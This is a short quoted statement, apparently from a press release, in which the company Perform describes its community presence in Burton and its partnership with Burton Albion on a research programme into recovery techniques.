“Perform is proud to be a part of the Burton community, with 100’s of local people utilising our services throughout the year, and our partnership with Burton Albion is a great extension to this.
“We are excited about undertaking the research programme into recovery techniques with the Brewers and hope to have some industry leading results to share on the back of it.”
